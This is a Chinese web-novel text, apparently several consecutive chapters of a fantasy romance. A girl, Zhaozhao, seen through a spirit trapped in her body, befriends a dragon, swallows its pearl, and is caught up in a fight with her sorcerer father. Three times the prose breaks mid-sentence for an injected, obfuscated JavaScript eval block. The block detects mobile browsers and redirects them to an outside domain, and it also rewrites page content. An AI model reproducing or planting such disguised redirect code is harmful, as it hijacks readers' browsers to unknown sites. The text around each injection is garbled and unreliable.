蛟龙硕大的脑袋转过来,凝滞一瞬,冲着昭昭的方向喷出一股鼻息。 昭昭吓得腿一软,跌坐在路旁的石头上。 西山峭壁连绵,到处都是石头窟窿,她灵机一动,往石头堆里藏。由于从小饿肚子,身材纤瘦,毫不费力地钻了进去。 她屏住呼吸,仍嫌不够,抬手捂住自己的嘴。心如擂鼓。 季月叹道,“傻丫头,蛟龙的眼睛尖得很。它已经看见你了。” 头顶一声巨响,好像整座山被炸开了。蛟龙的巨爪勾住卢昭昭的衣带,把她提到百尺高空。 卢昭昭吓得高声尖叫,拼命扭动挣扎。嗤的一声,衣带吃不住力,断成两截。她整个人向下急坠。 砰,蛟龙伸出另一只爪接住了她。它似乎觉得这个猎物很有趣,把她举到眼前,幽深的竖瞳中映出昭昭瘦小的身躯。 深渊巨口缓缓张开,一股腥臭味扑面而来。 季月恼羞成怒,这幻境可恶极了。她最不想被妖吃掉,偏偏让她掉进这个毫无反抗之力的身体。 昭昭急中生智,大喊,“别吃我!我爹是捉妖师!” 没想到,蛟龙竟然停了动作,还隆隆地说起人话来,“捉妖师?这么说,我刚才劈碎的就是他的地盘。” 卢昭昭向下俯视,无求观周边一圈山壁坍塌,往日道观变作废墟,扬起的尘土有半个山头那么高。 观中道士恐怕都葬身山谷了。 她声音发颤,“你别得意!我爹马上就来。” “哈哈哈,甚好,让他出来与我一战。” 季月讥讽,“什么破爹。需要他的时候,人在哪儿呢?” 天一道长至今还未出现。没有他,这一关不知能不能过去。 蛟龙合拢手爪,在山壁上爬来爬去,到处嗅,昭昭的五脏六腑都快颠了出来,抓紧龙爪,强自忍耐。 蛟龙飞上天,在高空一圈一圈盘旋。 昭昭狂吼,“你到底要干嘛呀?” 季月道,“它在找水。” 蛟龙生于水中,不能长时间离开水,平时栖息在天池中。西山附近一片荒芜,连一条小溪流都找不到,可把它难倒了。 蛟龙又向上飞了一段,昭昭觉得周围的空气越来越冷,牙齿直打战。 远处山谷间有水流声,蛟龙大喜,一个猛子扎下去。它俯冲的速度堪比流星飞矢,昭昭瘦弱的身躯承受不了,顿时昏了过去。 眼前一片漆黑。季月提心吊胆地喊道,“昭昭?昭昭?” 扑通,整个身子没入清凉的水中,皮肤上的毛孔都收缩起来。 “醒醒啊!你快沉下去了!” 腰间突然一紧,寒铁般的龙爪抓住了她,把她提溜上岸。 昭昭俯身趴在草地上,咕嘟咕嘟吐出肚子里的水。 过了好久,才把眼睛睁开一条缝。 哗啦啦,一大滩水泼过来,将她湿透的身子浇得更湿了。 回头看去,原来这是一片溪谷,溪水不深,蛟龙庞大的身体无法完全浸没,就在溪中不停打滚,好弄湿周身的鳞片。溪水不停地泼出来。 昭昭被水花打得生疼,忍无可忍地喊道,“别泼了!” 蛟龙正在吸溜吸溜地清洗鼻子,一转头,笔直的水柱不偏不倚地向她喷来。 昭昭被巨大的冲力撞飞,摔到草地上,晕了过去。 再醒来的时候,已是深夜。新月如钩,斜挂天际。身上的衣服还没完全干,一阵风吹过,冷得直打哆嗦。 溪谷之中,水声潺潺。蛟龙巨大的身躯盘成一团,正在酣睡,龙头枕在水面上,任溪流冲刷下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159173|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴,门洞似的鼻翼一张一合。尾巴搭在岸上,无意识地甩动。 它睡得好惬意。 季月催促道,“多好的机会,还不快逃!” 谁知昭昭非但不逃,反而蹑手蹑脚地朝蛟龙走去,还抬手从头上拔下一物。 季月一直以昭昭的眼睛视物,直到此时才惊觉,她仍戴着那根桃木簪。这簪子是她母亲当年亲手所制,送给她父亲当定情信物的,后来父亲远走,母亲早亡,簪子没人要,就归了昭昭。 她攥着这根不甚锐利的簪子,屏息靠近河岸边,运起全身力气,对准蛟龙的尾巴,扎了下去。 季月脱口叫道,“不好!它的尾巴碰不得!” 可簪子已经划出一道弧线,插进两片龙鳞的缝隙中。 四下安静一瞬,仿佛山谷溪流都紧张屏息。 旋即,粗壮的尾巴高高弹起,簪子打着旋飞出,掉入溪流。 巨大的龙头抬了起来,发出震天动地的咆哮。 爪子一伸,把昭昭举到高空。 昭昭浑身上下都在发抖,尖声道,“这一下,是替道士们扎的。你不该毁了他们的家。” 季月无语至极。这姑娘到底是怎么想的?就算无求观的道士养过她几年,也犯不着冒生命危险给他们报仇,何况她根本就打不过。 眼前这条蛟龙少说有七百年道行,碾死她就如同碾死一只蚂蚁。 蛟龙瞪了她半晌,质问道,“为什么扎我尾巴?” 声音竟有些哀怨。 昭昭坦然道,“尾巴离岸边最近,下手方便。” 蛟龙巨大的眼睛里光华流转,竟缓缓地把她放在地上,尾巴伸过来,在她身畔绕了一圈,鳞片微微张开。 季月心中一凛,“完了完了,这条龙发情了。” 蛟龙的尾巴是用来示爱的。两条龙□□时,尾巴会缠在一起,来回摩擦。 昭昭的手劲太小,簪子扎进鳞片的力道,和两条龙交尾的力道差不多大,才让它误会了。 蛟龙低下头,命令道,“像刚才那样,再扎一下。” 昭昭没料到它会提出这种要求,愣了愣道,“簪子掉进水里了。” 蛟龙长啸一声,整条身子一圈一圈伸展开来,没入溪流之中。四只巨爪在水里来回翻找,掀起一股股巨浪。 昭昭头顶下起了小雨。 不到一盏茶的工夫,巨爪便托着簪子,举到昭昭眼前。 小小的簪子躺在掌心,如同沙砾草芥。从溪流里把它捞出来,无异于大海捞针。 昭昭由衷地佩服,“你……可真厉害。” “快扎。” 昭昭从善如流,举起簪子,又一次对准那粗壮的尾巴扎了下去。 蛟龙喷着鼻息,发出满意的哼哼,“再用点力。” 昭昭揉了揉发酸的手臂。都说妖残忍嗜杀,没想到还如此不可理喻。 本欲偷袭,却变成了按摩。 季月看着昭昭勤勤恳恳地扎了一夜,又是好气又是好笑。 这一人一妖,都不太聪明。 天光微熹,昭昭累得睡着了。蛟龙舒服得睡着了。尾巴环在她身周,像一个小小的窝。 季月在黑暗中默默抱怨,天一道长怎么还没有来。 他一直不出现,这一关可怎么过。 刹那间,天旋地转,日月倒悬,世界化为一团虚影。 79. 蛟龙潜于渊(六) 视野忽高忽低。 天空在跳上跳下,山谷左摇右摆,溪流翻腾着,舞出种种妖娆姿态。 噢不对,是自己在动。 身子飞到半空,再落下,被一条灵活的尾巴接住,又弹起来。嘴里不断发出咯咯的笑声。 耳边龙吟阵阵,蛟龙盖满鳞片的身躯不时出现在视野中,盘旋扭动。 季月心里一片茫然。天一道长没有现身,上一关是怎么过的? 这一人一妖,又在玩什么把戏? 昭昭过足了蹦床的瘾,双手抱住蛟龙的尾巴,滑到草地上。 蛟龙硕大的脑袋凑了过来,央求,“再玩一会儿。” “不玩了。我累啦。” 她放下龙尾巴,向近处一座茅草屋走去。那屋子建得一边高一边低,好像随时要倒的样子。 季月大奇,看来已经过去了一段时间,昭昭连房子都建起来了,这是要在溪谷里定居了? 蛟龙怎么还没吃掉她?被摸尾巴的感觉有那么好么? 龙族真是奇怪。 长长的龙身蜷曲起来,拦住昭昭去路。 “你不陪我玩,我就吃了你。” 季月偷瞄它,连爪子都没伸出来,真是苍白的威胁。 “吃了我,更没人陪你玩啦。” 卢昭昭从容地爬过龙身,径直走进屋子。 蛟龙跟过去,硕大的眼睛贴在门外,挡住了光。 昭昭笑道,“多谢你啦,我正觉得屋子里太亮堂。” 她打了个呵欠,大大咧咧地往褥子上一躺。这床褥子比她在柴房睡的还薄,而且短了一截,两只脚都露在外面。 这荒郊野岭,也不知她从哪里捡来的。 昭昭翻了个身,刚要闭上眼睛,忽然听到远处传来马蹄声。 “有人来了,快藏起来!” 蛟龙发出不满的呼噜,“吃掉就是了。” “你要是再吃人,我永远都不跟你玩了!” 又是苍白的威胁。 不料蛟龙异常听话,收起爪子,团成一团。一道银光闪过,化作一个二十来岁的青年模样。 这是季月见过最失败的化形,一看就不像个人。龙头还在,只是缩小了,手和脚倒是变出来了,可皮肤上还覆盖着鳞片。身上随意搭着一条破布,遮住敏感部位。 昭昭没发表评论,可能是见怪不怪了。她一把把蛟龙拽进屋,关上门,耳朵贴在门上听。 三人三骑,由远及近。 一道清脆的女声传来,“咦,这里怎么有座房子?” 一个年轻男声道,“奇怪,上次来还没有啊。” “齐哥,亏你四处吹嘘,说发现了什么秘境,原来早有人捷足先登了。” “容妹,我绝对没有骗你啊。” 另一个低沉的男声道,“别争了,进去看看。” 那被唤作容妹的女子一马当先,冲向茅屋,昭昭吓了一跳,拉着蛟龙后退。 她在门上拍了一掌,那门用几根细木条支撑,本就不甚牢固,应声而倒。 季月着恼,这人好没礼貌。 三人鱼贯而入,女的容颜娇美,正当妙龄,年轻男子血气方刚,脸色微微发红,年长男子留着一把大胡子,颇有城府。三人皆身着劲装,衣饰考究,显然是会武的。 他们见到叫花子似的昭昭,先是一愣,见到她身后龙头人身的怪物,立刻吓得大叫起来。 齐哥唰地一声拔出腰间配剑,剑尖直指龙头,“何方妖孽,竟敢藏身在此?” 蛟龙发出一声不满的咆哮。整间茅屋抖了三抖。 昭昭忙挡在前面,“三位英雄误会了。这是我弟弟,不慎被妖咬了,才变成现在这副怪样子。” 容妹啊了一声,盯着那龙头,将信将疑。 “我们没钱请大夫。遇到一个好心的游医,说这里的溪水可以疗伤,就一路寻了过来。” 长胡子问道,“那游医相貌如何,怎生称呼?” 昭昭被问住了。她毕竟年纪尚轻,撒谎经验不足,结结巴巴道,“他……他是世外高人,不准别人透露他的行踪。” 长胡子显然不信,和另外两人交换了眼色。容妹踏前一步,“你弟弟伤在何处?我们身上带有金疮药,可以帮他治伤。” 昭昭惊慌道,“不劳你们费心了。我弟弟不能被生人碰,否则会发狂的。” 蛟龙十分配合地吼了一声,茅屋震动,房顶上飘落许多木屑。 齐哥道,“既然会伤人,更不能留在此处了。应当关在笼子里。” 长胡子眼珠一转,“你们是从南安县来的?” 昭昭奇道,“这里不是南安县吗?” 她只记得被蛟龙带着飞了很远。原来已经出了南安县。 长胡子道,“这里是南安县和西河县的交界处,人迹罕至,对地痞流氓,小偷强盗来说,倒是个不错的藏身处。这样吧,随我们去官府把事情交待清楚,若你所言非虚,知县老爷宽仁,或许能为你们找个大夫。” “不……不要……” 齐哥道,“不敢去?看来确实有猫腻。” 容妹退后一步,对长胡子耳语,“叔父不是要办游园会么,把这两个小怪物装进笼子,推出去展览,定能博得宾客欢心。” 她叔父眉心一跳,微微点头。 季月冷笑,蛟龙的耳力和眼力高出凡人不知几何,这两人当着面如此密谋,等于找死。 果然,蛟龙的手脚消失了,寒铁般的利爪从四肢末端伸了出来。龙嘴越张越大,发出惊天动地的狂吼。 容妹和长胡子惊跳起来,齐哥反手抓住昭昭,利剑横在她颈间。 “想活命,就叫你弟弟安静点!” 剑锋在细嫩的脖子上划出了红痕。自从昭昭落入蛟龙手中,这还是第一次见血。 她心里起了一种异样的悲伤,嘴唇颤抖,说不出话。 蛟龙身体突然暴涨,身躯横扫,先把容妹和长胡子甩飞出去。然后一爪把齐哥连人带剑踩成了肉泥。 茅屋整个塌了,昭昭护住头,尖叫着跑出去。 龙吟阵阵,龙身飞舞,溪谷为之震动。蛟龙一口一个,将外面两人吞进了肚子,又把三匹坐骑吃个干净。 事情发生得太快,等昭昭反应过来,溪谷已经恢复了平静。 蛟龙神气活现地盘旋了两圈,落到地面上,硕大的头往昭昭身前凑。 昭昭呆坐在地上,一动不动,双眼空洞,望着天空出神。 季月心想,坏了,这是彻底吓傻了。 蛟龙用尾巴圈住她,声音隆隆道,“玩。” 昭昭一个激灵,一双明眸之中,慢慢地蓄起泪珠。 “你……你……” 季月知道她想说什么,你吃人不眨眼,吃完就想着玩,真是没有心肝。 殊不知打架吃人是妖的天性,它愿意跟你玩,已经是违背天性了。 昭昭话没说出来,却猛地扑上去,抱住龙头,嚎啕大哭。 蛟龙被她的眼泪糊了一脸,鼻子一痒,打了个巨大的喷嚏。 昭昭直飞出去,正好被龙尾巴接住。 尾巴在她腰间缠了一圈,举到蛟龙眼前,“别哭了。你不喜欢,那我下次少吃一点,只吃半个身子好了。” 季月哭笑不得,留半个身子,人也活不了啊。 昭昭好像下了决心,抬手用力擦干眼泪,“我不哭……我再也不会哭了……再也不会因为人而哭!” 蛟龙晃了晃脑袋,喜道,“好。” 昭昭呆望茅屋的残骸,“这里不能留了,我们要另找地方住。” 话音刚落,天旋地转,日月倒悬,世界化为一团虚影。 季月醒来时,正赶上一场大雨。雨脚连绵,将冷冽秋意浸到骨头缝里。 透过茫茫雨幕看去,四下皆是光秃秃的山壁,青灰色的石头间寸草不生。 又回到了西山。 昭昭掀起斗笠的帽檐,睁大眼睛往天上看。铅灰色的浓云间有什么东西在动。 盖满鳞片的尾巴一闪而过。片刻后,云层间,露出一只硕大的发光眼睛。 昭昭冲天空挥挥手。 蛟龙长长的身躯钻出云层,盘旋飞舞,巨口张开,长啸一声,雨势为之一缓。 它俯冲下来,昭昭张开双手,眼看就要被撞倒,龙头却在触到她手指的一刻骤然变小,化为人形,将她抱住。 昭昭整个人仿佛浸在水里,非但不着恼,还咯咯直笑,“你又顽皮。” 蛟龙反驳,“我都按指示藏在云里,看到你才现身的。” “那你鬼吼鬼叫什么?” “忍不住嘛。好久没有下这么畅快的雨了!” 昭昭退后一步,捧起他的脸。 季月一怔。这蛟龙进步神速,现在的化形几可乱真了。人的手,人的腿,皮肤光滑,没有鳞片。脸上五官深邃,眉目俊朗,鼻如悬胆,唇色红润,眼珠中光华流转,时而乌黑,时而呈现出清透的墨蓝色。 季月忍不住芳心大动,这蛟龙从哪里得的灵感,变出这样一张帅脸。 昭昭噗嗤一笑,在蛟龙脸颊上捏了两下,“进来吧,我帮你擦干。” 他们穿过一堆碎石瓦砾,推开半扇大门,走进一个形似大殿的地方。季月眼风扫过一尊倒塌的神像,这才恍悟,他们回到了无求观。 一个孤女,和一条化形不甚熟练的蛟龙,既怕伤害世人,又怕被世人伤害,只好躲回这无人问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164007|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津的废墟之中。 大殿正中青砖之上,蒲团摆成两行,组成一张简易床榻,上面盖了条薄被。昭昭随手抓起一块破布,去擦蛟龙头发上的水。 季月暗忖,看这样子,是同床共寝了。 蛟龙不太喜欢那条破布,狂乱地甩头,水花四处飞溅。 昭昭尖叫着躲避,反被揽住腰,一人一龙厮打一阵,双双滚倒在床榻上。 俊俏的脸逼近,呼吸相闻,墨蓝色的眼睛一瞬不瞬,看久了,竟看出一种柔情似水的味道。 季月突感尴尬,接下来要发生什么,她大致猜得到。难道要她在昭昭的身体里,一起和蛟龙水乳交融,合二为一? 虽然她喜欢蛟龙变的这张脸,可她已经有夫君了,并没打算和一条龙来一场鱼水之欢。要是日后被夫君知道了,更是大大不妙。 这幻境还真是荒唐,到了如此地步,竟还不放她脱身么。 昭昭伸手搂住蛟龙的脖子,细声细气道,“我们在三清神像底下如此……放肆,天尊知道了,会生气的。” 歪倒在地的神像不语。空旷的大殿里只有她自己的回声。 蛟龙眨巴着眼睛,“什么天尊?我们妖界没有这种东西。” 昭昭道,“这里的人都信天尊。前几天那个大婶还在门外捶胸顿足,哭哭啼啼,半天都不肯走。” “她看不出这地方已经被我劈塌了么?” “她定是个特别虔诚的居士,来凭吊无求观的。” “虔诚……像你爹一样?” 昭昭垂下眼,“我不知道。我说爹会来和你打架,是吓唬你的,其实我和爹不熟。” “好啊,你骗我!” “我若不骗你,早就被你一口吞了。” 蛟龙认真道,“怎么会,你看我现在,不是对你言听计从么?陪你躲在这废墟里,还变成这副怪模样讨你喜欢。” 昭昭羞道,“那是你……有求于我。” 她低头不语,季月一味好奇,催促道,“他求你什么啊?说啊!” 蛟龙用鼻子蹭了蹭昭昭的脸,从嘴里吐出一颗鸡蛋大小的珠子,托在掌心。 “把它吃了,等你身体变强壮了,就可以和我一起去妖界了。“ 此珠流光溢彩,它一出现,大殿内光华陡增,亮如白昼。 季月倒抽一口冷气。龙珠! 一头蛟龙一生只能孕育一颗龙珠,龙珠威力巨大,集合了毕生妖力,进可打架退可疗伤,乃是妖界一大圣品。和它相比,花妖自酿的花蜜简直不值一提,不过是佐餐的点心。 连龙珠都肯拿出来,看来这条龙对昭昭动了真心。 昭昭憧憬道,“妖界很漂亮吧?” 蛟龙眉开眼笑,“漂亮极了,群山巍峨连绵不绝,山顶积雪终年不化,天池里的水比宝石还要蓝,万顷碧波尽头,水天连成一色。你见了,肯定喜欢。” 他这一席话,倒勾起了季月的一点乡愁。许久没回去了,浮玉山的月,具区泽的水,会不会和以前不同了。 昭昭担心道,“在那里生存不大容易吧?” 季月心中一凛,哎哟,差点被这条龙骗了。妖界美则美矣,可一见面就是打架,以命相博,九死一生。昭昭这样的肉体凡胎,去了活不过一个时辰。 她正是厌倦了腥风血雨,打打杀杀,才抛弃一切来到人间。只不过来了才发现,人间亦有腥风血雨,打打杀杀,争斗无处不在,逃避不了。 蛟龙信誓旦旦道,“你吃了这龙珠,就什么都不怕了。” 好一条痴心的龙,用毕生妖力做她的护身符。 昭昭迟疑地接过珠子,触手温热,光华耀目。 她像个不肯吃药的孩子,嘟囔道,“这么大,卡住喉咙怎么办?” 蛟龙把龙珠含在嘴里,抬起昭昭的下巴,吻上来。 柔软的嘴唇相接,季月大窘,她和一条龙亲上了!此事绝不能让沈灵均知道! 珠子落入口中,掉进喉咙,卡住了。蛟龙向下吹了口气,珠子勉勉强强通进喉管,滑了下去。 昭昭捂着胸口大咳起来。 她感觉像坠入了火炉,五脏六腑都燃烧起来,一股热气在体内不断膨胀,找不到出口。 蛟龙的眼神由喜悦转为惊慌,“昭昭,你怎么了?” 季月皱眉,昭昭可能是第一个生吞龙珠的凡人。龙珠之力威猛霸道,她这瘦弱的身躯承受得了吗?会不会血管爆裂而亡? 昭昭痛苦地呻吟着,在地上滚来滚去,口鼻处有温热的液体流出,伸手一接,满手殷红。 蛟龙呼唤昭昭的声音越来越急切,越来越遥远,眼前黑暗逐渐扩大,淹没了一切。 天旋地转,日月倒悬,世界化为一团虚影。 80. 蛟龙潜于渊(七) 沈灵均站在倒塌的山门前,头顶有细密的雪花飘落。 他刚刚狠心把年幼的昭昭送回卢家,一息之间,便到了此处。 时光流转。眼前的雪,已不是刚才那场雪了。 身体的感觉迟钝了许多,胸腔里有什么东西,沉甸甸地往下坠,手足异常麻木,好像不是血肉之躯,而是四件兵刃,受了伤也不会痛。 他突然想起师父曾说过,在妖界呆久了,人也成了妖。长年的腥风血雨、九死一生的斗争,将他磋磨成如今这个样子。 心里对天一道长的不满稍稍减轻。一个人常年伤痛缠身,无法排遣,也难怪脾气暴躁,做出种种不近人情之举。 沈灵均抬步朝废墟中走去。无求观的匾额早就不知所踪,建筑倾颓,铜像倒塌,香炉的一半埋在地下。若无人修整,经年的风霜雨雪早晚会将这里彻底埋葬。 他突然停住,前方大殿中,有浓重的妖气弥漫。 黑暗中传来窸窸窣窣的声音,像是细碎的脚步声,又像是什么东西贴着地面移动。 是人?是妖? 沈灵均习惯性地拔剑,却拔出了一柄拂尘。 一个紫衣女子出现在面前。沈灵均看清她的样貌,大吃一惊。 斑驳鳞片从脸的边缘向中间延伸,将原本清秀的五官挤得变了形。额头上方长出两只软软的角。双手拢在袖中,生怕露出来似的,宽大衣袍下,腹部高高隆起,眼看着即将临盆。身后延伸出一条比腰还粗的尾巴,绕了脚踝两圈,垂到地上。 她眼瞳中满是惊恐,张了张嘴,没喊出声。 沈灵均不假思索,拂尘挥出,一阵罡风卷住她的身子,金丝细线从头到脚,游走全身,蓦地狠狠收紧。 那女子尖叫一声,看起来痛苦至极,双手从袖子中伸了出来,护住肚子。手指上果然也长满了鳞片。 “不要……疼……” 沈灵均听她说话口齿不清,料想是个无甚法力的小妖,冷然道,“人话都没学全,就出来作乱。” 金线在皮肉上勒出无数细小伤口,鲜血渗出。 女子的眼睫下亦渗出大颗大颗的泪珠。 沈灵均触到她凄然求恳的目光,忽觉有异。妖怎会露出这样的目光。 他挥手撤了金线,女子没了束缚,瘫倒在地,不住喘息。 沈灵均将拂尘对准她的脸,厉声喝问,“你从何而来?” 季月困在这具身体里,虽然说不出话,也替昭昭感到心酸。这个男人给了她生命,却弄得她遍体鳞伤,还质问她从何而来。 这话该问他自己才对。 恰在此时,空中一道闪电劈下,正好打在拂尘之上。 拂尘脱手飞出,断为两截。沈灵均抬头一望,只见铅灰色的浓云间,骤然跃出一条巨大的蛟龙,浑身布满青灰色的鳞片,四爪齐出,怒吼着盘旋而下。 闪电一道接一道劈来,势要把他劈碎。沈灵均撑起金钟罩抵挡。 蛟龙落到地上,尾巴绕了一圈,把昭昭困在中间。 沈灵均恍然大悟,定是这条蛟龙囚禁了那女子,还把她害成这副人不人、鬼不鬼的样子。 “大胆妖龙,拿命来!” 蛟龙狂吼一声,巨嘴张开,一口咬来。 拂尘虽断,但天一道长此时功力已至鼎盛,掌力如狂风暴雨,飞身与蛟龙斗在一起。 只见风雷滚滚,人影幢幢,龙身挥舞盘旋,搅动废墟中的碎木乱石,劈头盖脸砸来。 沈灵均闪转腾挪,以掌作刃,欺近龙身,左划一道口子,右割一块肉,蛟龙被他剥下十几块鳞片,痛得嗷嗷直叫,利爪张开,穷追猛打。 昭昭嘶声喊道,“别……打了……” 震耳欲聋的打斗声中,没人听得到她的声音。 蛟龙却突然收了爪,回头张望。 沈灵均一掌击中它后颈,它痛得蜷起身子,直飞出去,落到昭昭跟前。 她身下一滩殷红,缓缓洇开。 蛟龙惊惶道,“昭昭,你怎么了?” 沈灵均定在原地。 这女子是昭昭?! 她的面容完全变了,鳞片中间的五官因痛苦而扭曲,哪里还有小时候的影子。 沈灵均定睛细看,大吃一惊。 她的发间确实插着一根桃木簪子,只是被龙角挡住了大半,不易发现。年深日久,木头已经褪色,形状却一如当年。 昭昭长这么大了? 沈灵均呆立片刻,胸中腾地升起一股怒火。 这姑娘的命运当真坎坷,从小被父母抛弃,孤苦伶仃,长大后竟然落入妖的魔掌。看她的样子中毒已深,不知还能不能活。 今日定要拼尽全力诛杀此妖,救她出火海。 他清啸一声,掌力如排山倒海,攻向蛟龙。 蛟龙回身怒吼,十几道闪电劈下,将地面砸出一个大窟窿。 可它担心昭昭,尾巴始终围着她的身子,不敢离开。攻守之势顿时逆转。 沈灵均身法轻盈,团团转了几个圈子,躲开闪电,头发却也被撩得根根竖起。 他摸出一道符,掐指念诀,一息之间,熊熊烈火从掌心窜出,如一条火龙腾空而起。 蛟龙狂吼一声,一股旋风扑向火龙,把它包在里面。 沈灵均叱道,“着!” 那火龙竟像活了一样,撕开一道风口,对准蛟龙直冲过去。 蛟龙张开巨口,喷出一道瀑布般的水柱。 水火相交,顷刻化为白烟,腾起几十丈,盖住了半个山头。 热气氤氲,方圆数里的冰雪瞬间融化。 季月看着他们相斗,心底一片冰凉。 龙珠之力威猛霸道,昭昭以凡人之躯吞食,无法承受,身上才出现种种异状。她无法吸收龙珠之力,就不能贸然去往妖界,只好留在无求观休养。 屋漏偏遭连夜雨,腹中不知何时多了一团活物,上蹿下跳,折腾得厉害。 季月虽然是妖,对这样的事也毫无经验,猜不出昭昭肚子里是人,是龙,还是半人半龙。什么时候会从肚子里蹦出来。 这可恶的天一道长不来则已,一出现就喊打喊杀,毫不顾及自己亲生女儿。反倒是蛟龙,一心护着昭昭。 蛟龙喷出来的水是天池水,存在胃囊之中,保命用的。 可它离开妖界已久,不知道天池水还剩下多少,够不够救下妻儿。 沈灵均的引火符雪片似地撒出来,一条条火龙从掌心飞出,前赴后继地攻向蛟龙,又在水雾中化为飞烟。 蛟龙鼓鼓囊囊的身形似乎变苗条了,利爪横扫,不管不顾地强攻,天上闪电连成一片。 山壁被劈开无数道缝隙,巨石纷纷滚落。无求观本是从山壁中凿出来的,此时山崩地裂,根基动摇,再也支撑不住,整个塌陷下去。 蛟龙用尾巴卷住昭昭,沈灵均飞在半空,一人一妖仍相斗不休。 山壁层层垮塌,乱石如雨,烟尘漫天。 山谷深处忽然有声音飘上来,马匹嘶鸣,车辙滚落,众人尖叫,最后是哐当一声巨响。 有马车翻下了山崖。 沈灵均僵在半空,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175028|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不可思议的念头闪过。 该不会……是他们吧? 冷不防一道闪电劈在眉间。 周身一阵酥麻。他好似灵魂出窍,眼看着自己的身体像断了线的风筝,飘飘荡荡,坠入山谷。 无数碎石从眼前飞过,无数片雪花融化在脸颊。 谷底,散架的车厢,筋骨折断的马,血肉模糊,惨不忍睹的尸体。 锥心刺骨的疼痛弥漫开来。 那是他既害怕看到,又渴望看到的,双亲在这世上最后的样子。 沈灵均七岁那年,姨母费劲千辛万苦,生下一个女儿。 孩子刚出生就连哭了一夜,弄得大人手足无措,深恐这孩子生就一副坏脾气,长大后让爹娘操心。 姨母和姨丈深思熟虑了许久,给她起名妙仪,盼望她将来长成一个仪态端方,温婉贞静的女子。 妙仪的满月酒刚刚办完,姨母就急着要去西山的无求观还愿。 “我婚后七年没有孩子,求遍了寺庙道观,一直求到无求观,才有了妙仪。我若不去还愿,元始天尊定要生气,日后降罪于这孩子,让她一生饱受折磨。” 众人都劝,“无求观去年被天雷劈塌了,如今是一片废墟,又荒凉又危险,没人再去了。” “可神像还在里面呢。” “天寒地冻,山道难行,何苦去冒这个险。听说那废墟里常发异声,连砍柴的樵夫都远远避开。” 姨母甚是固执,“我远远地拜一拜,表表心意,总可以吧?” 一家人争执半天,谁都拗不过姨母。她既然非去不可,姨丈放心不下,自然要同去。沈夫人和这个妹妹从小一起长大,感情甚笃,也要跟去。沈老爷担心夫人,最后两家人商定,雇一辆大马车,一起去西山。 原本他们也要带上七岁的沈灵均,可他前一夜突感风寒,咳嗽不止,就留在了家里。 沈夫人出门前亲了亲他的小脸,答应给他买枇杷膏回来,保证一吃下去,嗓子就不疼了。 那是他最后一次见到母亲。 等了整整一天,大人还没有回来。王妙仪哭得惊天动地,丫鬟奶娘齐上都哄不好。 晚上沈伯回来,脸色煞白,声音颤抖,说西山又遭天雷,山崩地裂,马车恐怕是翻入了山谷,老爷夫人和王家夫妇音讯全无。 山谷间乱石重叠,雨雪湿滑,无人敢下去搜寻。五天后,大雪初霁,几个胆子大的樵夫将绳索绑在腰间,往山谷下探了探,找到卡在石头缝隙间的半个轮毂。此外再无所获。 半个月后,沈伯在西山脚下,为老爷夫人立了个衣冠冢。 三个月后,沈、王两家入不敷出,遣散了所有下人。 五个月后,天一道长回南安县物色弟子,一眼就相中了沈灵均,将他收入门下。 沈灵均十岁以前,最怕下雪,一下雪就做噩梦,梦见父母埋在厚厚的积雪下面,睁着眼睛,被行人踩踏。他扑倒在雪堆上,拼命向下挖,挖得十个手指头鲜血淋漓,只挖出母亲的半幅衣袖…… 十岁后,他修习玄门正宗心法小有所成,睡觉时也在吐纳练功,再也不会做梦。 师父对他说,七情六欲都戒了,何必再做梦。 那场改变了他一生的大雪和天雷,就此尘封在记忆深处。 谁又能料到,此生还有机会回到父母出事的当日。 世界化为一团虚影。沈灵均失去意识前,只有一个念头,蛟龙的事先放在一边,他要赶到山道上,拦住父母的马车,将命运扭转回来。 他要救下他们,救下自己。 81. 蛟龙潜于渊(八) 山道寂寂,白雪茫茫。 沈灵均在路中间踱来踱去,眼睛一眨不眨,紧盯着前方拐弯处。 那里随时都会驶出一辆马车,载着父母和王家夫妇。 他们怀着虔诚的心上山还愿,却不慎踏入险地,枉送了性命。 绝不能让这样的悲剧重演。 风声中似乎夹杂着马蹄声响,一颗心扑通扑通,几乎要跳出嗓子眼。 这么多年未见,父母还认得出他吗? 一转念,猛然醒悟,自己现在可是天一道长的模样。 沈灵均收起拂尘,尽量调整表情,挤出一丝笑容。天一道长长相凶恶,只盼父母别将他当作劫道的歹人。 童年的记忆渐渐浮现。父母都非个性古板之人,否则也不会顶风冒雪,来拜这废弃的无求观。印象中,父亲写的一笔好字,每逢过年,街坊四邻都来请他写春联。母亲心灵手巧,擅长制作各种点心,做好了自己不吃,全部投喂给家人。托她的福,沈家从家主到下人,个个都吃得珠圆玉润,一脸福相。 